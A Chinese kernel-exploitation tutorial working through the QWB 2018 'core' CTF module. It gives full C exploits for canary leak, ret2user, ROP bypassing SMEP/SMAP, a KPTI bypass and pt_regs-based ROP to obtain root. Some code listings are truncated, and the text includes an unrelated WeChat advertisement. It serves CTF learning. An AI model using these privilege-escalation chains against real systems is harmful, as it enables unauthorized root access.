Kernel Stack栈溢出攻击及保护绕过

前言

本文介绍Linux内核的栈溢出攻击,和内核一些保护的绕过手法,通过一道内核题及其变体从浅入深一步步走进kernel世界。

QWB_2018_core

题目分析

start.sh

qemu-system-x86_64 
    -m 128M 
    -kernel ./bzImage 
    -initrd  ./core.cpio 
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" 
    -s 
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 
    -nographic  

开启了kaslr保护。

如果自己编译的 qemu 可能会报错network backend ‘user‘ is not compiled into this binary,解决方法就是sudo apt-get install libslirp-dev,然后重新编译 ./configure --enable-slirp

init

解压 core.cpio(最简单的方式就是在ubuntu里,右击提取到此处),分析 init 文件:

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko # 加载内核模块core.ko
​
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!n'
umount /proc
umount /sys
​
poweroff -d 0  -f
  • 第 9 行中把 kallsyms 的内容保存到了 /tmp/kallsyms 中,那么我们就能从 /tmp/kallsyms 中读取 commit_credsprepare_kernel_cred 的函数的地址了。

  • 第 10 行把 kptr_restrict 设为 1,这样就不能通过 /proc/kallsyms 查看函数地址了,但第 9 行已经把其中的信息保存到了一个可读的文件中,这句就无关紧要了。

  • 第 11 行把 dmesg_restrict 设为 1,这样就不能通过 dmesg 查看 kernel 的信息了。

  • 第 18 行设置了定时关机,为了避免做题时产生干扰,直接把这句删掉然后重新打包。

里面还有一个 gen_cpio.sh 脚本,用于快速打包。

find . -print0 
| cpio --null -ov --format=newc 
| gzip -9 > $1
  • KASLR

    Kernel Address Space Layout Randomization(内核地址空间布局随机化),开启后,允许kernel image加载到VMALLOC区域的任何位置。在未开启KASLR保护机制时,内核代码段的基址为 0xffffffff81000000direct mapping area 的基址为 0xffff888000000000

  • FG-KASLR

    Function Granular Kernel Address Space Layout Randomization细粒度的 kaslr,函数级别上的 KASLR 优化。该保护只是在代码段打乱顺序,在数据段偏移不变,例如 commit_creds 函数的偏移改变但是 init_cred 的偏移不变。

  • Dmesg Restrictions

    通过设置/proc/sys/kernel/dmesg_restrict为1, 可以将dmesg输出的信息视为敏感信息(默认为0)

  • Kernel Address Display Restriction

    内核提供控制变量 /proc/sys/kernel/kptr_restrict 用于控制内核的一些输出打印。

    • kptr_restrict == 2 :内核将符号地址打印为全 0 , root 和普通用户都没有权限.

    • kptr_restrict == 1 : root 用户有权限读取,普通用户没有权限.

    • kptr_restrict == 0 : root 和普通用户都可以读取.

core.ko

检查一下保护。

❯ checksec core/core.ko
[*] '/home/pwn/kernel/pwn/give_to_player/core/core.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

使用 IDA 继续分析.ko文件。

init_module() 注册了 /proc/corecore_fops 时其注册的file_operations结构体实例,会面会做介绍。

__int64 init_module()
{
  core_proc = proc_create("core", 438LL, 0LL, &core_fops);
  printk(&unk_2DE);
  return 0LL;
}

exit_core()删除 /proc/core

__int64 exit_core()
{
  __int64 result; // rax
​
  if ( core_proc )
    result = remove_proc_entry("core");
  return result;
}

core_ioctl() 定义了三条命令,分别调用 core_read(), core_copy_func()和设置全局变量 off

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  switch ( a2 )
  {
    case 0x6677889B:
      core_read(a3);
      break;
    case 0x6677889C:
      printk(&unk_2CD);
      off = a3;
      break;
    case 0x6677889A:
      printk(&unk_2B3);
      core_copy_func(a3);
      break;
  }
  return 0LL;
}

core_read() 从 v4[off] 拷贝 64 个字节到用户空间,但要注意的是全局变量 off 是我们能够控制的,因此可以合理的控制 off 来 leak canary 和一些地址 。

void __fastcall core_read(__int64 a1)
{
  __int64 v1; // rbx
  char *v2; // rdi
  signed __int64 i; // rcx
  char v4[64]; // [rsp+0h] [rbp-50h]
  /*
  * canary保存在rsp+0x40的位置,
  * 我们通过设置off为0x40,即可将其读取出来。
  */
  unsigned __int64 v5; // [rsp+40h] [rbp-10h]
​
  v1 = a1;
  v5 = __readgsqword(0x28u);
  printk("x016core: called core_readn");
  printk("x016%d %pn");
  v2 = v4;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 += 4;
  }
  strcpy(v4, "Welcome to the QWB CTF challenge.n");
  if ( copy_to_user(v1, &v4[off], 64LL) )
    __asm { swapgs }
}

core_copy_func() 从全局变量 name 中拷贝数据到局部变量中,长度是由我们指定的,当要注意的是 qmemcpy 用的是 unsigned __int16,但传递的长度是 signed __int64,因此如果控制传入的长度为 0xffffffffffff0000|(0x100) 等值,就可以栈溢出了。

__int64 __fastcall core_copy_func(__int64 a1)
{
  __int64 result; // rax
  _QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
​
  v2[8] = __readgsqword(0x28u);
  printk(&unk_215);
  // 这里用的jg判断,为有符号判断,0xffffffffffff0000|(0x100) 会判定为负从而绕过。
  if ( a1 > 63 )
  {
    printk(&unk_2A1);
    return 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    // 栈溢出。
    qmemcpy(v2, &name, (unsigned __int16)a1);
  }
  return result;
}

core_write() 向全局变量 name 上写,这样通过 core_write() 和 core_copy_func() 就可以控制 ropchain 了 。

signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 v3; // rbx
​
  v3 = a3;
  printk("x016core: called core_writen");
  if ( v3 

字符驱动设备

内核注册字符设备驱动设备时会用到file_operations结构体,file_operations 结构体中的成员函数是字符设备驱动程序设计的主体内容,结构体中的一些指针比如open() 、write() 、read() 、close() 等系统调用时最终会被内核调用,我们可以通过指定指针指向的内容修改其默认值为我们自定义的函数,这样我们在类似read(dev_fd, buf, 0x100)时就会调用我们自定义的my_read函数。

它还有一个指针为unlocked_ioctl,我们在用户态时可以使用系统调用ioctl去访问控制内核注册的设备(ioctl系统调用号为0x10,由rax保存,需要注意的时,系统调用和用户传参的rdi,rsi,rdx,rcx,r8,r9不同,系统调用第四个传参寄存器为r10,即rdi,rsi,rdx,r10,r8,r9)。

【—-帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

动态调试

为了动态调试的方便一些,我们需要做以下工作:

(1)通过qemu append参数关闭 kaslr ,qemu提供了-s参数用于调试,默认端口为1234

-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr"

(2)修改init脚本将权限调到 root

...
setsid /bin/cttyhack setuidgid 0 /bin/sh
...

(3)启动qemu,查看模块基地址。

/ # lsmod
core 16384 0 - Live 0xffffffffc0000000 (O)

(4)通过 add-symbol-file core.ko textaddr 把 core.ko 符号加载进去。

#!/bin/sh
​
gdb -q 
  -ex "file ./core/vmlinux" 
  -ex "file ./core/core.ko" 
  -ex "add-symbol-file ./core/core.ko 0xffffffffc0000000" 
  -ex "target remote localhost:1234"

ret2user

顾名思义,即返回到用户空间的提权代码上进行提权,之后返回用户态即为 root 权限。

ret2user

提权方式

这里只简单介绍两种朴素的方法,第一种是通过commit_creds(prepare_kernel_cred(0))去提权,不过这种方式已经过时了,不过这道题的内核版本支持这种方法提权,prepare_kernel_cred()会将拷贝一个新的cred凭证,参数为零默认拷贝init_cred,其具有root权限。commit_cred()负责应用到进程。

第二种是 commit_cred(&init_cred),原因是init_cred是静态定义的,我们只要找到init_cred地址便可借助commit_cred完成提权。我们通过vmlinux-to-elf bzImage vmlinux解压并恢复内核部分符号,通过逆向 prepare_kernel_cred() 函数便可轻松定位其地址。

_DWORD *__fastcall prepare_kernel_cred(__int64 a1)
{
_DWORD *v1; // rbx
int *task_cred; // rbp
​
v1 = (_DWORD *)kmem_cache_alloc(qword_FFFFFFFF82735900, 20971712LL);
if ( !v1 )
 return 0LL;
if ( a1 )
{
 task_cred = (int *)get_task_cred(a1);
}
else
{
 _InterlockedIncrement(dword_FFFFFFFF8223D1A0);
 task_cred = dword_FFFFFFFF8223D1A0; // init_cred
}
[......]
}

 

状态保存

通常情况下,我们的 exploit 需要进入到内核当中完成提权,而我们最终仍然需要着陆回用户态以获得一个 root 权限的 shell,因此在我们的 exploit 进入内核态之前我们需要手动模拟用户态进入内核态的准备工作保存各寄存器的值到内核栈上,以便于后续着陆回用户态。通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中,以便于构造 rop 链:

gcc 编译时需要指定参数:-masm=intel

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("33[34m33[1m[*] Status has been saved.33[0m");
}

返回用户态

由内核态返回用户态只需要:

  • swapgs指令通过用一个MSR中的值交换GS寄存器的内容,用来获取指向内核数据结构的指针,然后才能执行系统调用之类的内核空间程序,其也用于恢复用户态 GS 寄存器。

  • sysretq或者iretq恢复到用户空间

那么我们只需要在内核中找到相应的 gadget 并执行swapgs;iretq就可以成功着陆回用户态。

执行 iretq 时的栈布局。

|----------------------|
| RIP                  |

所以我们应当构造如下 rop 链以返回用户态并获得一个 shell:

↓   swapgs
    iretq
    user_shell_addr
    user_cs
    user_eflags //64bit user_rflags
    user_sp
    user_ss

利用思路

在未开启 SMAP/SMEP 保护(后面会讲解)的情况下,用户空间无法访问内核空间的数据,但是内核空间可以访问 / 执行用户空间的数据,所以可以使用ret2user。题目给的vmlinux用于提取gadget可以,但使用IDA分析时太慢,可以用vmlinux-to-elf解压bzImage进行分析。

  1. 从 /tmp/kallsyms 读取符号地址,确认与nokaslr偏移,从vmlinux寻找gadget

  2. 保存用户状态。

  3. 通过设置 off 读取 canary

  4. 于内核态访问用户空间的 commit_creds(prepare_kernel_cred(NULL))/commit_creds(init_cred);提权。

  5. 通过 swapgs; mov trap_frame, rsp; iretq 返回用户空间,并执行 system("/bin/sh");

exp

#include 
#include 
#include 
#include 
#include 
#include 
#include 
​
#define KERNCALL __attribute__((regparm(3)))
/* /tmp/kallsyms 保存的符号地址,这里保存的是未开启kaslr的地址 */
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
​
void get_shell() 
{ 
    system("/bin/sh"); 
}
​
void get_root() {
    commit_creds(init_cred);
    // commit_creds(prepare_kernel_cred(0));
    asm("swapgs;"
        "mov rsp, tf_addr;"
        "iretq;");
}
​
struct trap_frame {
    size_t user_rip;
    size_t user_cs;
    size_t user_rflags;
    size_t user_sp;
    size_t user_ss;
} __attribute__((packed));
​
struct trap_frame tf;
size_t user_cs, user_rflags, user_sp, user_ss, tf_addr = (size_t) &tf;
​
void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    tf.user_rip = (size_t) get_shell;
    tf.user_cs = user_cs;
    tf.user_rflags = user_rflags;
    tf.user_sp = user_sp - 0x1000;
    tf.user_ss = user_ss;
    puts("[*] status has been saved.");
}
​
int core_fd;
​
void core_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}
​
void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}
​
void core_copy_func(size_t len) {
    ioctl(core_fd, 0x6677889A, len);
}
​
void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}
​
/* 计算开启kaslr后的偏移,重定位相关函数和结构体的地址 */
void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd 

编译exp时需要注意,本机环境编译的exp可能无法与题目环境交互,需要使用musl-gcc或者相应版本的docker进行编译,musl-gcc有一些库不支持,但大部分情况下都是可以的。

打包脚本

本题提供了打包脚本,可以直接./gen_cpio.sh ../core_new.cpio 打包即可。如果没提供可以使用以下命令打包。

find . | cpio -o -H newc > ../rootfs.imgs

打包完成后,改回题目环境,运行脚本测试即可。发送至远程可以使用以下脚本:

from pwn import *
import base64
#context.log_level = "debug"
​
with open("./exp", "rb") as f:
    exp = base64.b64encode(f.read())
​
p = remote("127.0.0.1", 11451)
#p = process('./run.sh')
try_count = 1
while True:
    p.sendline()
    p.recvuntil("/ $")
​
    count = 0
    for i in range(0, len(exp), 0x200):
        p.sendline("echo -n "" + exp[i:i + 0x200] + "" >> /tmp/b64_exp")
        count += 1
        log.info("count: " + str(count))
​
    for i in range(count):
        p.recvuntil("/ $")
    
    p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
    p.sendline("chmod +x /tmp/exploit")
    p.sendline("/tmp/exploit ")
    break
​
p.interactive()

调试

可以看到add rsp, 0x48;pop rbx后,ret指令正好执行我们用户空间的提权代码。

image-20240905183545568

kernel rop without KPIT

开启 smep 和 smap 保护后,内核空间无法执行用户空间的代码,并且无法访问用户空间的数据。因此不能直接 ret2user 。利用 ROP执行 commit_creds(prepare_kernel_cred(0))/commit_creds(init_cred) , 然后 iret 返回用户空间可以绕过上述保护。

添加 smep 和 smap 保护。

qemu-system-x86_64 
    -m 128M 
    -kernel ./bzImage 
    -initrd  ./core.cpio 
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" 
    -s  
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 
    -nographic  
    -cpu qemu64,+smep,+smap
  • smep

    Supervisor Mode Execution Protection(管理模式执行保护),当处理器处于 ring 0 模式,执行用户空间的代码会触发页错误。(在 arm 中该保护称为 PXN)

  • smap

    Superivisor Mode Access Protection(管理模式访问保护),类似于 smep,当处理器处于 ring 0 模式,访问用户空间的数据会触发页错误。

利用思路

  1. 从 /tmp/kallsyms 读取符号地址,确认与nokaslr偏移,从vmlinux寻找gadget

  2. 保存用户状态。

  3. 通过设置 off 读取 canary

  4. 于内核空间 rop 调用 commit_creds(prepare_kernel_cred(NULL))/commit_creds(init_cred);提权。

  5. 通过 swapgs; popfq; ret; ,iretq 返回用户空间,并执行 system("/bin/sh");

exp

#include 
#include 
#include 
#include 
#include 
#include 
#include 
​
// from vmlinux
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
/*
* (1)如果使用 commit_creds(prepare_kernel_cred(NULL));
* 由于找不到 mov rdi, rax; ret; 这条 gadget ,
* 因此需要用 mov rdi, rax; call rdx; 代替,其中 rdx 指向 pop rcx; ret; 
* 可以清除 call 指令压入栈中的 rip ,因此相当于 ret 。
* (2)如果使用 commit_creds(init_cred); 
* 则只需要 pop rdi; ret 即可。
*/
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
​
void get_shell() {
    system("/bin/sh");
}
​
size_t user_cs, user_rflags, user_sp, user_ss;
​
void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}
​
int core_fd;
​
void core_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}
​
void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}
​
void core_copy_func(size_t len) {
    ioctl(core_fd, 0x6677889A, len);
}
​
void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}
​
void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd  pop_rcx_ret_addr
    rop[it++] = pop_rcx_ret;
    // rax==prepare_kernel_cred(0), cal rdx ==> push commit_creds_addr, then pop_rcx_ret
    rop[it++] = mov_rdi_rax_call_rdx;
    rop[it++] = commit_creds;
    
    rop[it++] = swapgs_popfq_ret;
    rop[it++] = 0;
    rop[it++] = iretq;
    rop[it++] = (size_t) get_shell;
    rop[it++] = user_cs;
    rop[it++] = user_rflags;
    rop[it++] = user_sp;
    rop[it++] = user_ss;
​
    core_write(buf, sizeof(buf));
​
    core_copy_func(0xffffffffffff0000 | sizeof(buf));
​
    return 0;
}

kernel rop with KPIT

将 CPU 类型修改为 kvm64 后开启了 KPTI 保护。

#!/bin/sh
qemu-system-x86_64 
  -m 256M 
  -kernel ./bzImage 
  -initrd ./core.cpio 
  -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" 
  -s 
  -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 
  -nographic 
  -cpu kvm64,+smep,+smap

KPTI

kernel page-table isolation,内核页表隔离,进程页表隔离。旨在更好地隔离用户空间与内核空间的内存来提高安全性。KPTI通过完全分离用户空间与内核空间页表来解决页表泄露。一旦开启了KPTI,由于内核态和用户态的页表不同,所以如果使用 ret2user或内核执行ROP返回用户态时,由于内核态无法确定用户态的页表,就会报出一个段错误。可以利用内核现有的gadget将 cr3 与 0x1000 异或(第13位置0)来完成从用户态PGD转换成内核态PGD。

利用思路

比较简单的方法是借助 swapgs_restore_regs_and_return_to_usermode 返回用户态。该函数是内核在 arch/x86/entry/entry_64.S 中提供的一个用于完成内核态到用户态切换的函数。当然我们也可以利用内核的gadgetcr3的第13位置0(与0x1000异或)来完成从用户态PGD转换成内核态PGD。

.text:FFFFFFFF81A008DA ; __int64 swapgs_restore_regs_and_return_to_usermode(void)
.text:FFFFFFFF81A008DA                 public swapgs_restore_regs_and_return_to_usermode
.text:FFFFFFFF81A008DA swapgs_restore_regs_and_return_to_usermode proc near
.text:FFFFFFFF81A008DA                                         ; CODE XREF: ;entry_SYSCALL_64_after_hwframe+4D↑j
.text:FFFFFFFF81A008DA                                         ; entry_SYSCALL_64_after_hwframe+5E↑j ...
.text:FFFFFFFF81A008DA                 pop     r15
.text:FFFFFFFF81A008DC                 pop     r14
.text:FFFFFFFF81A008DE                 pop     r13
.text:FFFFFFFF81A008E0                 pop     r12
.text:FFFFFFFF81A008E2                 pop     rbp
.text:FFFFFFFF81A008E3                 pop     rbx
.text:FFFFFFFF81A008E4                 pop     r11
.text:FFFFFFFF81A008E6                 pop     r10
.text:FFFFFFFF81A008E8                 pop     r9
.text:FFFFFFFF81A008EA                 pop     r8
.text:FFFFFFFF81A008EC                 pop     rax
.text:FFFFFFFF81A008ED                 pop     rcx
.text:FFFFFFFF81A008EE                 pop     rdx
.text:FFFFFFFF81A008EF                 pop     rsi
/*
* 我们再利用时直接跳到这里即可,不过 rop 接下来还要有 16 字节的填充来表示 orig_rax 和 rdi 的位置。
*/
.text:FFFFFFFF81A008F0                 mov     rdi, rsp         ; jump this
.text:FFFFFFFF81A008F3                 mov     rsp, gs:qword_5004
.text:FFFFFFFF81A008FC                 push    qword ptr [rdi+30h]
.text:FFFFFFFF81A008FF                 push    qword ptr [rdi+28h]
.text:FFFFFFFF81A00902                 push    qword ptr [rdi+20h]
.text:FFFFFFFF81A00905                 push    qword ptr [rdi+18h]
.text:FFFFFFFF81A00908                 push    qword ptr [rdi+10h]
.text:FFFFFFFF81A0090B                 push    qword ptr [rdi]
.text:FFFFFFFF81A0090D                 push    rax
.text:FFFFFFFF81A0090E                 jmp     short loc_FFFFFFFF81A00953
[......]
;loc_FFFFFFFF81A00953
.text:FFFFFFFF81A00953 loc_FFFFFFFF81A00953:                   ; CODE XREF: ;swapgs_restore_regs_and_return_to_usermode+34↑j
.text:FFFFFFFF81A00953                 pop     rax
.text:FFFFFFFF81A00954                 pop     rdi
.text:FFFFFFFF81A00955                 swapgs
.text:FFFFFFFF81A00958                 jmp     native_iret
.text:FFFFFFFF81A00958 swapgs_restore_regs_and_return_to_usermode endp
[......]
;native_iret
.text:FFFFFFFF81A00980                 test    [rsp+arg_18], 4
.text:FFFFFFFF81A00985                 jnz     short native_irq_return_ldt
.text:FFFFFFFF81A00985 native_iret     endp
[......]
;native_irq_return_ldt
.text:FFFFFFFF81A00989                 push    rdi
.text:FFFFFFFF81A0098A                 swapgs
.text:FFFFFFFF81A0098D                 jmp     short loc_FFFFFFFF81A009A1
[......]
;loc_FFFFFFFF81A009A1
.text:FFFFFFFF81A009A1                 mov     rdi, gs:qword_F000
.text:FFFFFFFF81A009AA                 mov     [rdi], rax
.text:FFFFFFFF81A009AD                 mov     rax, [rsp+8]
.text:FFFFFFFF81A009B2                 mov     [rdi+8], rax
.text:FFFFFFFF81A009B6                 mov     rax, [rsp+8+arg_0]
.text:FFFFFFFF81A009BB                 mov     [rdi+10h], rax
.text:FFFFFFFF81A009BF                 mov     rax, [rsp+8+arg_8]
.text:FFFFFFFF81A009C4                 mov     [rdi+18h], rax
.text:FFFFFFFF81A009C8                 mov     rax, [rsp+8+arg_18]
.text:FFFFFFFF81A009CD                 mov     [rdi+28h], rax
.text:FFFFFFFF81A009D1                 mov     rax, [rsp+8+arg_10]
.text:FFFFFFFF81A009D6                 mov     [rdi+20h], rax
.text:FFFFFFFF81A009DA                 and     eax, 0FFFF0000h
.text:FFFFFFFF81A009DF                 or      rax, gs:qword_F008
.text:FFFFFFFF81A009E8                 push    rax
.text:FFFFFFFF81A009E9                 jmp     short loc_FFFFFFFF81A00A2E
[......]
;loc_FFFFFFFF81A00A2E
.text:FFFFFFFF81A00A2E                 pop     rax
.text:FFFFFFFF81A00A2F                 swapgs
.text:FFFFFFFF81A00A32                 pop     rdi
.text:FFFFFFFF81A00A33                 mov     rsp, rax
.text:FFFFFFFF81A00A36                 pop     rax
.text:FFFFFFFF81A00A37                 jmp     native_irq_return_iret
[......]
;native_irq_return_iret
.text:FFFFFFFF81A00987                 iretq
.text:FFFFFFFF81A00987 native_irq_return_iret endp

exp

#include 
#include 
#include 
#include 
#include 
#include 
#include 
​
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
​
void get_shell() {
    system("/bin/sh");
}
​
size_t user_cs, user_rflags, user_sp, user_ss;
​
void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}
​
int core_fd;
​
void core_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}
​
void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}
​
void core_copy_func(size_t len) {
    ioctl(core_fd, 0x6677889A, len);
}
​
void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}
​
void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd canary; 0x48~0x50->rbp; 0x50~0x58->fake_retaddr
    *(size_t *) &buf[0x40] = canary;
    size_t *rop = (size_t *) &buf[0x50], it = 0;
​
    rop[it++] = pop_rdi_ret;
    rop[it++] = 0;
    rop[it++] = prepare_kernel_cred;
    rop[it++] = pop_rdx_ret;
    rop[it++] = pop_rcx_ret;
    rop[it++] = mov_rdi_rax_call_rdx;
    rop[it++] = commit_creds;
​
    rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
    rop[it++] = 0;
    rop[it++] = 0;
    rop[it++] = (size_t) get_shell;
    rop[it++] = user_cs;
    rop[it++] = user_rflags;
    rop[it++] = user_sp;
    rop[it++] = user_ss;
​
    core_write(buf, sizeof(buf));
​
    core_copy_func(0xffffffffffff0000 | sizeof(buf));
​
    return 0;
}

利用 pt_regs 构造 rop

qemu启动脚本

#!/bin/sh
qemu-system-x86_64 
  -m 256M 
  -kernel ./bzImage 
  -initrd ./core.cpio 
  -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" 
  -s 
  -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 
  -nographic 
  -cpu kvm64,+smep,+smap

查看entry_SYSCALL_64 这一用汇编写的函数内部,注意到当程序进入到内核态时,该函数会将所有的寄存器压入内核栈上,形成一个 pt_regs结构体,该结构体实质上位于内核栈底,定义如下:

struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

内核栈只有一个页面的大小,而 pt_regs 结构体则固定位于内核栈栈底,当我们劫持内核结构体中的某个函数指针时(例如 seq_operations->start),在我们通过该函数指针劫持内核执行流时 rsp 与 栈底的相对偏移通常是不变的。

而在系统调用当中过程有很多的寄存器其实是不一定能用上的,比如 r8 ~ r15,这些寄存器为我们布置 ROP 链提供了可能,我们不难想到:只需要寻找到一条形如 "add rsp, val ; ret" 的gadget便能够完成ROP,在进入内核态前像寄存器写入一些值,看那些寄存器可以被保留,以便后续写入gadget

KPTI pass:使用 seq_operations + pt_regs

结构体 seq_operations 的条目如下:

​
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
  • 当我们打开一个 stat 文件时(如 /proc/self/stat)便会在内核空间中分配一个 seq_operations 结构体

  • 当我们 read 一个 stat 文件时,内核会调用其 proc_ops 的 proc_read_iter 指针,然后调用 seq_operations->start 函数指针

利用思路

这次我们限制溢出只能覆盖返回地址,此时需要栈迁移到其他地方构造 rop 。其中一个思路就是在 pt_regs 上构造 rop 。我们在调用 core_copy_func 函数之前先将寄存器设置为几个特殊的值,然后再 core_copy_func 函数的返回处下断点。

__asm__(
        "mov r15, 0x1111111111111111;"
        "mov r14, 0x2222222222222222;"
        "mov r13, 0x3333333333333333;"
        "mov r12, 0x4444444444444444;"
        "mov rbp, 0x5555555555555555;"
        "mov rbx, 0x6666666666666666;"
        "mov r11, 0x7777777777777777;"
        "mov r10, 0x8888888888888888;"
        "mov r9, 0x9999999999999999;"
        "mov r8, 0xaaaaaaaaaaaaaaaa;"
        "mov rcx, 0xbbbbbbbbbbbbbbbb;"
        "mov rax, 0x10;"
        "mov rdx, 0xffffffffffff0050;"
        "mov rsi, 0x6677889A;"
        "mov rdi, core_fd;"
        "syscall"
        );

数字没变的寄存器就是我们能够控制的,可以被我们用来写 gadget。

0b:0058│     0xffffc90000113f58 ◂— 0x1111111111111111               ; r15
0c:0060│     0xffffc90000113f60 ◂— 0x2222222222222222 ('""""""""')  ; r14
0d:0068│     0xffffc90000113f68 ◂— 0x3333333333333333 ('33333333')  ; r13
0e:0070│     0xffffc90000113f70 ◂— 0x4444444444444444 ('DDDDDDDD')  ; r12
0f:0078│     0xffffc90000113f78 ◂— 0x5555555555555555 ('UUUUUUUU')  ; rbp
10:0080│     0xffffc90000113f80 ◂— 0x6666666666666666 ('ffffffff')  ; rsp
11:0088│     0xffffc90000113f88 ◂— 0x207                            
12:0090│     0xffffc90000113f90 ◂— 0x8888888888888888               ;r10
13:0098│     0xffffc90000113f98 ◂— 0x9999999999999999               ;r9 
14:00a0│     0xffffc90000113fa0 ◂— 0xaaaaaaaaaaaaaaaa               ;r8
15:00a8│     0xffffc90000113fa8 ◂— 0xffffffffffffffda
16:00b0│     0xffffc90000113fb0 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44]
17:00b8│     0xffffc90000113fb8 ◂— 0xffffffffffff0050 /* 'P' */
18:00c0│     0xffffc90000113fc0 ◂— 0x6677889a
19:00c8│     0xffffc90000113fc8 ◂— 0x614d8e5400000004
1a:00d0│     0xffffc90000113fd0 ◂— 0x10
1b:00d8│     0xffffc90000113fd8 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44]
1c:00e0│     0xffffc90000113fe0 ◂— 0x33 /* '3' */
1d:00e8│     0xffffc90000113fe8 ◂— 0x207
1e:00f0│     0xffffc90000113ff0 —▸ 0x7ffe1d48e620 ◂— 0x0
